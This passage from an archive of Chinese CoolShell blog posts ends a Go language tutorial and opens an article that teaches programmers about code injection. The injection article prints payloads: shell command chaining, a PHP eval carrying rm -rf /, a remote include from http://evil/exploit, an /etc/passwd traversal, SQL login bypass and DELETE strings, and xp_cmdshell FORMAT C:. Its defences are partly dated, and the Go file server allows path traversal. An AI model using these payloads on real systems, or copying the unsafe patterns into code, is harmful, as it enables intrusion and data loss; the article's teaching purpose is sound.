}\n        mutex.Unlock()\n    }\n}\n.......\n......\n</pre>\n<h4>原子操作</h4>\n<p>说到并发就需要说说原子操作，相信大家还记得我写的那篇《<a href=\"https://coolshell.cn/articles/8239.html\" rel=\"noopener noreferrer\" target=\"_blank\" title=\"无锁队列的实现\">无锁队列的实现</a>》一文，里面说到了一些CAS – CompareAndSwap的操作。Go语言也支持。你可以看一下相当的文档</p>\n<p>我在这里就举一个很简单的示例：下面的程序有10个goroutine，每个会对cnt变量累加20次，所以，最后的cnt应该是200。如果没有atomic的原子操作，那么cnt将有可能得到一个小于200的数。</p>\n<p>下面使用了atomic操作，所以是安全的。</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\nimport \"time\"\nimport \"sync/atomic\"\n\nfunc main() {\n    var cnt uint32 = 0\n    for i := 0; i &lt; 10; i++ {\n        go func() {\n            for i:=0; i&lt;20; i++ {\n                time.Sleep(time.Millisecond)\n                atomic.AddUint32(&amp;cnt, 1)\n            }\n        }()\n    }\n    time.Sleep(time.Second)//等一秒钟等goroutine完成\n    cntFinal := atomic.LoadUint32(&amp;cnt)//取数据\n    fmt.Println(\"cnt:\", cntFinal)\n}</pre>\n<p>这样的函数还有很多，参看<a href=\"http://golang.org/pkg/sync/atomic/\" rel=\"noopener noreferrer\" target=\"_blank\">go的atomic包文档</a>（被墙）</p>\n<h4>Channel 信道</h4>\n<p>Channal是什么？Channal就是用来通信的，就像Unix下的管道一样，在Go中是这样使用Channel的。</p>\n<p>下面的程序演示了一个goroutine和主程序通信的例程。这个程序足够简单了。</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\n\nimport \"fmt\"\n\nfunc main() {\n    //创建一个string类型的channel\n    channel := make(chan string)\n\n    //创建一个goroutine向channel里发一个字符串\n    go func() { channel &lt;- \"hello\" }()\n\n    msg := &lt;- channel\n    fmt.Println(msg)\n}[</pre>\n<p><strong>指定channel的buffer</strong></p>\n<p>指定buffer的大小很简单，看下面的程序：</p>\n<pre class=\"EnlighterJSRAW\">package main\nimport \"fmt\"\n\nfunc main() {\n    channel := make(chan string, 2)\n\n    go func() {\n        channel &lt;- \"hello\"\n        channel &lt;- \"World\"\n    }()\n\n    msg1 := &lt;-channel\n    msg2 := &lt;-channel\n    fmt.Println(msg1, msg2)\n}</pre>\n<p><strong>Channel的阻塞</strong></p>\n<p>注意，channel默认上是阻塞的，也就是说，如果Channel满了，就阻塞写，如果Channel空了，就阻塞读。于是，我们就可以使用这种特性来同步我们的发送和接收端。</p>\n<p>下面这个例程说明了这一点，代码有点乱，不过我觉得不难理解。</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\nimport \"time\"\n\nfunc main() {\n\n    channel := make(chan string) //注意: buffer为1\n\n    go func() {\n        channel &lt;- \"hello\"\n        fmt.Println(\"write \\\"hello\\\" done!\")\n\n        channel &lt;- \"World\" //Reader在Sleep，这里在阻塞\n        fmt.Println(\"write \\\"World\\\" done!\")\n\n        fmt.Println(\"Write go sleep...\")\n        time.Sleep(3*time.Second)\n        channel &lt;- \"channel\"\n        fmt.Println(\"write \\\"channel\\\" done!\")\n    }()\n\n    time.Sleep(2*time.Second)\n    fmt.Println(\"Reader Wake up...\")\n\n    msg := &lt;-channel\n    fmt.Println(\"Reader: \", msg)\n\n    msg = &lt;-channel\n    fmt.Println(\"Reader: \", msg)\n\n    msg = &lt;-channel //Writer在Sleep，这里在阻塞\n    fmt.Println(\"Reader: \", msg)\n}</pre>\n<p>上面的代码输出的结果如下：</p>\n<pre class=\"EnlighterJSRAW\">\nReader Wake up...\nReader:  hello\nwrite \"hello\" done!\nwrite \"World\" done!\nWrite go sleep...\nReader:  World\nwrite \"channel\" done!\nReader:  channel\n</pre>\n<p><strong>Channel阻塞的这个特性还有一个好处是，可以让我们的goroutine在运行的一开始就阻塞在从某个channel领任务，这样就可以作成一个类似于线程池一样的东西。关于这个程序我就不写了。我相信你可以自己实现的。</strong></p>\n<p><strong>多个Channel的select</strong></p>\n<pre class=\"EnlighterJSRAW\">package main\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    //创建两个channel - c1 c2\n    c1 := make(chan string)\n    c2 := make(chan string)\n\n    //创建两个goruntine来分别向这两个channel发送数据\n    go func() {\n        time.Sleep(time.Second * 1)\n        c1 &lt;- \"Hello\"\n    }()\n    go func() {\n        time.Sleep(time.Second * 1)\n        c2 &lt;- \"World\"\n    }()\n\n    //使用select来侦听两个channel\n    for i := 0; i &lt; 2; i++ {\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(\"received\", msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(\"received\", msg2)\n        }\n    }\n}</pre>\n<p>注意：上面的select是阻塞的，所以，才搞出ugly的for i &lt;2这种东西<strong>。<br/>\n</strong></p>\n<p><strong>Channel select阻塞的Timeout</strong></p>\n<p>解决上述那个for循环的问题，一般有两种方法：一种是阻塞但有timeout，一种是无阻塞。我们来看看如果给select设置上timeout的。</p>\n<pre class=\"EnlighterJSRAW\">\n    for {\n        timeout_cnt := 0\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(\"msg1 received\", msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(\"msg2 received\", msg2)\n        case  &lt;-time.After(time.Second * 30)：\n            fmt.Println(\"Time Out\")\n            timout_cnt++\n        }\n        if time_cnt &gt; 3 {\n            break\n        }\n    }\n</pre>\n<p>上面代码中高亮的代码主要是用来让select返回的，注意 case中的time.After事件。</p>\n<p><strong>Channel的无阻塞</strong></p>\n<p>好，我们再来看看无阻塞的channel，其实也很简单，就是在select中加入default，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">\n    for {\n        select {\n        case msg1 := &lt;-c1:\n            fmt.Println(\"received\", msg1)\n        case msg2 := &lt;-c2:\n            fmt.Println(\"received\", msg2)\n        default: //default会导致无阻塞\n            fmt.Println(\"nothing received!\")\n            time.Sleep(time.Second)\n        }\n    }\n</pre>\n<p><strong>Channel的关闭</strong></p>\n<p>关闭Channel可以通知对方内容发送完了，不用再等了。参看下面的例程：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"fmt\"\nimport \"time\"\nimport \"math/rand\"\n\nfunc main() {\n\n    channel := make(chan string)\n    rand.Seed(time.Now().Unix())\n\n    //向channel发送随机个数的message\n    go func () {\n        cnt := rand.Intn(10)\n        fmt.Println(\"message cnt :\", cnt)\n        for i:=0; i&lt;cnt; i++{\n            channel &lt;- fmt.Sprintf(\"message-%2d\", i)\n        }\n        close(channel) //关闭Channel\n    }()\n\n    var more bool = true\n    var msg string\n    for more {\n        select{\n        //channel会返回两个值，一个是内容，一个是还有没有内容\n        case msg, more = &lt;- channel:\n            if more {\n                fmt.Println(msg)\n            }else{\n                fmt.Println(\"channel closed!\")\n            }\n        }\n    }\n}</pre>\n<h4>定时器</h4>\n<p>Go语言中可以使用time.NewTimer或time.NewTicker来设置一个定时器，这个定时器会绑定在你的当前channel中，通过channel的阻塞通知机器来通知你的程序。</p>\n<p>下面是一个timer的示例。</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    timer := time.NewTimer(2*time.Second)\n\n    &lt;- timer.C\n    fmt.Println(\"timer expired!\")\n}</pre>\n<p>上面的例程看起来像一个Sleep，是的，不过Timer是可以Stop的。你需要注意Timer只通知一次。如果你要像C中的Timer能持续通知的话，你需要使用Ticker。下面是Ticker的例程：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n    ticker := time.NewTicker(time.Second)\n\n    for t := range ticker.C {\n        fmt.Println(\"Tick at\", t)\n    }\n}</pre>\n<p>上面的这个ticker会让你程序进入死循环，我们应该放其放在一个goroutine中。下面这个程序结合了timer和ticker</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"time\"\nimport \"fmt\"\n\nfunc main() {\n\n    ticker := time.NewTicker(time.Second)\n\n    go func () {\n        for t := range ticker.C {\n            fmt.Println(t)\n        }\n    }()\n\n    //设置一个timer，10钞后停掉ticker\n    timer := time.NewTimer(10*time.Second)\n    &lt;- timer.C\n\n    ticker.Stop()\n    fmt.Println(\"timer expired!\")\n}</pre>\n<h4>Socket编程</h4>\n<p>下面是我尝试的一个Echo Server的Socket代码，感觉还是挺简单的。</p>\n<p><strong>Server端</strong></p>\n<pre class=\"EnlighterJSRAW\"> \npackage main\n\nimport (\n    \"net\"\n    \"fmt\"\n    \"io\"\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    listener, err := net.Listen(\"tcp\", \"0.0.0.0:6666\")//侦听在6666端口\n    if err != nil {\n        panic(\"error listening:\"+err.Error())\n    }\n    fmt.Println(\"Starting the server\")\n\n    for {\n        conn, err := listener.Accept() //接受连接\n        if err != nil {\n            panic(\"Error accept:\"+err.Error())\n        }\n        fmt.Println(\"Accepted the Connection :\", conn.RemoteAddr())\n        go EchoServer(conn)\n    }\n}\n\nfunc EchoServer(conn net.Conn) {\n    buf := make([]byte, RECV_BUF_LEN)\n    defer conn.Close()\n\n    for {\n        n, err := conn.Read(buf);\n        switch err {\n            case nil:\n                conn.Write( buf[0:n] )\n            case io.EOF:\n                fmt.Printf(\"Warning: End of data: %s \\n\", err);\n                return\n            default:\n                fmt.Printf(\"Error: Reading data : %s \\n\", err);\n                return\n        }\n     }\n}\n</pre>\n<p><strong>Client端</strong></p>\n<pre class=\"EnlighterJSRAW\">\npackage main\n\nimport (\n    \"fmt\"\n    \"time\"\n    \"net\"\n)\n\nconst RECV_BUF_LEN = 1024\n\nfunc main() {\n    conn,err := net.Dial(\"tcp\", \"127.0.0.1:6666\")\n    if err != nil {\n        panic(err.Error())\n    }\n    defer conn.Close()\n\n    buf := make([]byte, RECV_BUF_LEN)\n\n    for i := 0; i &lt; 5; i++ {\n        //准备要发送的字符串\n        msg := fmt.Sprintf(\"Hello World, %03d\", i)\n        n, err := conn.Write([]byte(msg))\n        if err != nil {\n            println(\"Write Buffer Error:\", err.Error())\n            break\n        }\n        fmt.Println(msg)\n\n        //从服务器端收字符串\n        n, err = conn.Read(buf)\n        if err !=nil {\n            println(\"Read Buffer Error:\", err.Error())\n            break\n        }\n        fmt.Println(string(buf[0:n]))\n\n        //等一秒钟\n        time.Sleep(time.Second)\n    }\n}\n</pre>\n<h4>系统调用</h4>\n<p>Go语言那么C，所以，一定会有一些系统调用。Go语言主要是通过两个包完成的。一个是<a href=\"http://golang.org/pkg/os/\" rel=\"noopener noreferrer\" target=\"_blank\">os包</a>，一个是<a href=\"http://golang.org/pkg/syscall/\" rel=\"noopener noreferrer\" target=\"_blank\">syscall包</a>。（注意，链接被墙）</p>\n<p>这两个包里提供都是Unix-Like的系统调用，</p>\n<ul>\n<li>syscall里提供了什么Chroot/Chmod/Chmod/Chdir…，Getenv/Getgid/Getpid/Getgroups/Getpid/Getppid…，还有很多如Inotify/Ptrace/Epoll/Socket/…的系统调用。</li>\n</ul>\n<ul>\n<li>os包里提供的东西不多，主要是一个跨平台的调用。它有三个子包，Exec（运行别的命令）, Signal（捕捉信号）和User（通过uid查name之类的）</li>\n</ul>\n<p>syscall包的东西我不举例了，大家可以看看《Unix高级环境编程》一书。</p>\n<p>os里的取几个例：</p>\n<p><strong>环境变量</strong></p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport \"os\"\nimport \"strings\"\n\n\nfunc main() {\n    os.Setenv(\"WEB\", \"https://coolshell.cn\") //设置环境变量\n    println(os.Getenv(\"WEB\")) //读出来\n\n    for _, env := range os.Environ() { //穷举环境变量\n        e := strings.Split(env, \"=\")\n        println(e[0], \"=\", e[1])\n    }\n}\n</pre>\n<h4>执行命令行</h4>\n<p>下面是一个比较简单的示例</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\nimport \"os/exec\"\nimport \"fmt\"\nfunc main() {\n    cmd := exec.Command(\"ping\", \"127.0.0.1\")\n    out, err := cmd.Output()\n    if err!=nil {\n        println(\"Command Error!\", err.Error())\n        return\n    }\n    fmt.Println(string(out))\n}</pre>\n<p>正规一点的用来处理标准输入和输出的示例如下：</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n    \"strings\"\n    \"bytes\"\n    \"fmt\"\n    \"log\"\n    \"os/exec\"\n)\n\nfunc main() {\n    cmd := exec.Command(\"tr\", \"a-z\", \"A-Z\")\n    cmd.Stdin = strings.NewReader(\"some input\")\n    var out bytes.Buffer\n    cmd.Stdout = &amp;out\n    err := cmd.Run()\n    if err != nil {\n        log.Fatal(err)\n    }\n    fmt.Printf(\"in all caps: %q\\n\", out.String())\n}</pre>\n<h4>命令行参数</h4>\n<p>Go语言中处理命令行参数很简单：(使用os的Args就可以了)</p>\n<pre class=\"EnlighterJSRAW\">func main() {\n    args := os.Args\n    fmt.Println(args) //带执行文件的\n    fmt.Println(args[1:]) //不带执行文件的\n}</pre>\n<p>在Windows下，如果运行结果如下：</p>\n<p><code>C:\\Projects\\Go&gt;go run args.go aaa bbb ccc ddd<br/>\n[C:\\Users\\haoel\\AppData\\Local\\Temp\\go-build742679827\\command-line-arguments_<br/>\nobj\\a.out.exe aaa bbb ccc ddd]<br/>\n[aaa bbb ccc ddd]</code></p>\n<p>那么，如果我们要搞出一些像 mysql -uRoot -hLocalhost -pPwd 或是像 cc -O3 -Wall -o a a.c 这样的命令行参数我们怎么办？Go提供了一个package叫flag可以容易地做到这一点</p>\n<pre class=\"EnlighterJSRAW\">\npackage main\nimport \"flag\"\nimport \"fmt\"\n\nfunc main() {\n\n    //第一个参数是“参数名”，第二个是“默认值”，第三个是“说明”。返回的是指针\n    host := flag.String(\"host\", \"coolshell.cn\", \"a host name \")\n    port := flag.Int(\"port\", 80, \"a port number\")\n    debug := flag.Bool(\"d\", false, \"enable/disable debug mode\")\n\n    //正式开始Parse命令行参数\n    flag.Parse()\n\n    fmt.Println(\"host:\", *host)\n    fmt.Println(\"port:\", *port)\n    fmt.Println(\"debug:\", *debug)\n}</pre>\n<p>执行起来会是这个样子：</p>\n<pre class=\"EnlighterJSRAW\">\n#如果没有指定参数名，则使用默认值\n$ go run flagtest.go\nhost: coolshell.cn\nport: 80\ndebug: false\n\n#指定了参数名后的情况\n$ go run flagtest.go -host=localhost -port=22 -d\nhost: localhost\nport: 22\ndebug: true\n\n#用法出错了（如：使用了不支持的参数，参数没有=）\n$ go build flagtest.go\n$ ./flagtest -debug -host localhost -port=22\nflag provided but not defined: -debug\nUsage of flagtest:\n  -d=false: enable/disable debug mode\n  -host=\"coolshell.cn\": a host name\n  -port=80: a port number\nexit status 2\n</pre>\n<p>感觉还是挺不错的吧。</p>\n<h4>一个简单的HTTP Server</h4>\n<p>代码胜过千言万语。呵呵。这个小程序让我又找回以前用C写CGI的时光了。（Go的官方文档是《<strong><a href=\"http://golang.org/doc/articles/wiki/\" rel=\"noopener noreferrer\" target=\"_blank\">Writing Web Applications</a></strong>》）</p>\n<pre class=\"EnlighterJSRAW\">package main\n\nimport (\n    \"fmt\"\n    \"net/http\"\n    \"io/ioutil\"\n    \"path/filepath\"\n)\n\nconst http_root = \"/home/haoel/coolshell.cn/\"\n\nfunc main() {\n    http.HandleFunc(\"/\", rootHandler)\n    http.HandleFunc(\"/view/\", viewHandler)\n    http.HandleFunc(\"/html/\", htmlHandler)\n\n    http.ListenAndServe(\":8080\", nil)\n}\n\n//读取一些HTTP的头\nfunc rootHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, \"rootHandler: %s\\n\", r.URL.Path)\n    fmt.Fprintf(w, \"URL: %s\\n\", r.URL)\n    fmt.Fprintf(w, \"Method: %s\\n\", r.Method)\n    fmt.Fprintf(w, \"RequestURI: %s\\n\", r.RequestURI )\n    fmt.Fprintf(w, \"Proto: %s\\n\", r.Proto)\n    fmt.Fprintf(w, \"HOST: %s\\n\", r.Host) \n}\n\n//特别的URL处理\nfunc viewHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Fprintf(w, \"viewHandler: %s\", r.URL.Path)\n}\n\n//一个静态网页的服务示例。（在http_root的html目录下）\nfunc htmlHandler(w http.ResponseWriter, r *http.Request) {\n    fmt.Printf(\"htmlHandler: %s\\n\", r.URL.Path)\n    \n    filename := http_root + r.URL.Path\n    fileext := filepath.Ext(filename)\n\n    content, err := ioutil.ReadFile(filename)\n    if err != nil {\n        fmt.Printf(\"   404 Not Found!\\n\")\n        w.WriteHeader(http.StatusNotFound)\n        return\n    }\n    \n    var contype string\n    switch fileext {\n        case \".html\", \"htm\":\n            contype = \"text/html\"\n        case \".css\":\n            contype = \"text/css\"\n        case \".js\":\n            contype = \"application/javascript\"\n        case \".png\":\n            contype = \"image/png\"\n        case \".jpg\", \".jpeg\":\n            contype = \"image/jpeg\"\n        case \".gif\":\n            contype = \"image/gif\"\n        default: \n            contype = \"text/plain\"\n    }\n    fmt.Printf(\"ext %s, ct = %s\\n\", fileext, contype)\n    \n    w.Header().Set(\"Content-Type\", contype)\n    fmt.Fprintf(w, \"%s\", content)\n    \n}</pre>\n<p>Go的功能库有很多，大家自己慢慢看吧。<strong>我再吐个槽——Go的文档真不好读。例子太少了</strong>。</p>\n<p>先说这么多吧。这是我周末两天学Go语言学到的东西，写得太仓促了，而且还有一些东西理解不到位，还大家请指正！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8489.html\">Go 语言简介（下）— 特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-12-10 程序员疫苗：代码注入.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-8730\" height=\"206\" src=\"../wp-content/uploads/2012/12/200906020837401710.jpg\" title=\"程序员疫苗\" width=\"245\"/>几个月在<a href=\"http://weibo.com/haeol\" target=\"_blank\">我的微博</a>上说过要建一个程序员疫苗网站，希望大家一起来提交一些错误示例的代码，来帮助我们新入行的程序员，不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样，我们应该给我们的新入行的程序员注射一些疫苗，就像给新生儿打疫苗一样，希望程序员从入行时就对这些错误有抵抗力。</p>\n<p>我的那个疫苗网站正在建议中（不好意思拖了很久），不过，我可以先写一些关于程序员疫苗性质的文章，也算是热热身。希望大家喜欢，先向大家介绍第一注疫苗——代码注入。</p>\n<h4>Shell注入</h4>\n<p>我们先来看一段perl的代码：</p>\n<p>[perl]use CGI qw(:standard);<br/>\n$name = param(‘name’);<br/>\n$nslookup = \"/path/to/nslookup\";<br/>\nprint header;<br/>\nif (open($fh, \"$nslookup $name|\")) {<br/>\n    while (&lt;$fh&gt;) {<br/>\n        print escapeHTML($_);<br/>\n        print \"&lt;br&gt;\\n\";<br/>\n    }<br/>\n    close($fh);<br/>\n}[/perl]</p>\n<p>如果用户输入的参数是：</p>\n<p><code class=\"EnlighterJSRAW\">coolshell.cn%20%3B%20/bin/ls%20-l</code></p>\n<p>那么，这段perl的程序就成了：</p>\n<p><span id=\"more-8711\"></span></p>\n<p><code class=\"EnlighterJSRAW\">/path/to/nslookup coolshell.cn ; /bin/ls -l</code></p>\n<p>我们再来看一段PHP的程序：</p>\n<pre class=\"EnlighterJSRAW\">$myvar = 'somevalue';\n$x = $_GET['arg'];\neval('$myvar = ' . $x . ';');</pre>\n<p>“<code>eval</code>“的参数将会视同PHP处理，所以额外的命令可被添加。例如：如果”arg”如果被设成”<code>10; system('rm -rf /')</code>“，后面的”<code>system('rm -rf /')</code>“代码将被运行，这等同在服务器上运行开发者意料外的程序。（关于rm -rf /，你懂的，可参看“<a href=\"https://coolshell.cn/articles/4875.html\" target=\"_blank\" title=\"一个空格引发的惨剧\">一个空格引发的悲剧</a>”）</p>\n<p>再来看一个PHP的代码</p>\n<pre class=\"EnlighterJSRAW\">$isadmin= false;\n...\n...\nforeach ($_GET as $key =&gt; $value) {\n  $$key = $value;\n}</pre>\n<p>如果攻击者在查询字符串中给定”isadmin=1″，那$isadmin将会被设为值 “1”，然后攻击值就取得了网站应用的admin权限了。</p>\n<p>再来看一个PHP的示例：</p>\n<pre class=\"EnlighterJSRAW\">$action = 'login';\n   if (__isset( $_GET['act'] ) )\n      $action = $_GET['act'];\n   require( $action . '.php' ); </pre>\n<p>这个代码相当危险，攻击者有可能可以干这些事：</p>\n<ul>\n<li><code>/test.php?act=<strong>http://evil/exploit</strong></code> – 注入远程机器上有漏洞的文件。</li>\n<li><code>/test.php?act=<strong>/home/www/bbs/upload/exploit</strong></code> – 从一个已经上载、叫做exploit.php文件运行其代码。</li>\n<li><code>/test.php?act=<strong>../../../../etc/passwd%00</strong></code> – 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除<code>.php</code>扩展名限制，允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)</li>\n</ul>\n<p>这样的示例有很多，只要你的程序有诸如：<code>system()</code>、<code>StartProcess()</code>、<code>java.lang.Runtime.exec()</code>、<code>System.Diagnostics.Process.Start()</code>以及类似的应用程序接口，都是比较危险的，最好不要让其中的字符串去拼装用户的输入。</p>\n<p>PHP提供<code><a href=\"http://www.php.net/manual/en/function.escapeshellarg.php\" rel=\"nofollow\">escapeshellarg()</a></code>和<code><a href=\"http://www.php.net/manual/en/function.escapeshellcmd.php\" rel=\"nofollow\">escapeshellcmd()</a></code>以在调用方法以前进行编码。然而，实际上并不建议相信这些方法是安全的 。</p>\n<h4>SQL注入</h4>\n<p>SQL injection，是发生于应用程序之数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了检查，那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏。</p>\n<p>在应用程序中若有下列状况，则可能应用程序正暴露在SQL Injection的高风险情况下：</p>\n<ol>\n<li>在应用程序中使用字符串联结方式组合SQL指令（如：引号没有转义）。</li>\n<li>在应用程序链接数据库时使用权限过大的帐户（如：很多开发人员都喜欢用sa（最高权限的系统管理员帐户）连接Microsoft SQL Server数据库）。</li>\n<li>在数据库中开放了不必要但权力过大的功能（例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等）</li>\n<li>过于信任用户所输入的数据，未限制输入的字符数，以及未对用户输入的数据做潜在指令的检查。</li>\n</ol>\n<p>例程：</p>\n<p>某个网站的登录验证的SQL查询代码为</p>\n<div dir=\"ltr\">\n<div>\n<pre class=\"EnlighterJSRAW\">strSQL = \"SELECT * FROM users\nWHERE (name = '\" + userName + \"') and (pw = '\"+ passWord +\"');\"</pre>\n</div>\n</div>\n<p>用户在登录时恶意输入如下的的用户名和口令：</p>\n<div dir=\"ltr\">\n<div><code class=\"EnlighterJSRAW\">userName = \"' OR '1'='1\";</code>\n</div>\n</div>\n<div dir=\"ltr\">\n<div><code class=\"EnlighterJSRAW\">passWord = \"' OR '1'='1\";</code>\n</div>\n</div>\n<p>此时，将导致原本的SQL字符串被解析为：</p>\n<div dir=\"ltr\">\n<div>\n<pre class=\"EnlighterJSRAW\">strSQL = \"SELECT * FROM users\nWHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');\"</pre>\n</div>\n</div>\n<p>也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。</p>\n<div dir=\"ltr\">\n<div><code class=\"EnlighterJSRAW\">strSQL = \"SELECT * FROM users;\"</code>\n</div>\n</div>\n<p>这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：</p>\n<p><code class=\"EnlighterJSRAW\">username= \"' ; DELETE FROM users; --\";</code></p>\n<p>这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。</p>\n<p><strong>所以SQL注入攻击被俗称为黑客的填空游戏</strong>。你是否还记得酷壳<a href=\"https://coolshell.cn/articles/6639.html\" target=\"_blank\" title=\"千万别惹程序员\">这篇文章里的SQL注入</a>？</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"407\" src=\"../wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg\" title=\"SQL-injection-attack(adjusted)\" width=\"600\"/></p>\n<p>当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：</p>\n<ul>\n<li>盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：<a href=\"https://coolshell.cn/articles/8638.html\" target=\"_blank\" title=\"为什么不能用微信或米聊这类的软件\">我前两天在微信上亲身经历</a>）。</li>\n</ul>\n<ul>\n<li>取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’）。</li>\n</ul>\n<ul>\n<li>在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。</li>\n</ul>\n<ul>\n<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp_cmdshell “FORMAT C:”）。</li>\n</ul>\n<div>现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家<a href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\" title=\"如何管理并设计你的口令\">在不站点上使用不同的口令</a>，甚至不同的用户信息的原因）</div>\n<p><strong>如何避免</strong></p>\n<ul>\n<li>在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。<strong>如果可能应该过滤以下字符：分号“;”，两个减号“–”，单引号“’”，注释“/* … */”</strong>。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）</li>\n</ul>\n<ul>\n<li>更换危险字符。例如在PHP通过<code>addslashes()</code>函数保护SQL注入。</li>\n</ul>\n<ul>\n<li>限制用户输入的长度，限制用户输入的取值范围。</li>\n</ul>\n<ul>\n<li>为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。</li>\n</ul>\n<ul>\n<li>把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。</li>\n</ul>\n<h4></h4>\n<h4>跨网站脚本注 入</h4>\n<p><strong>跨网站脚本</strong>（<strong>Cross-site</strong> 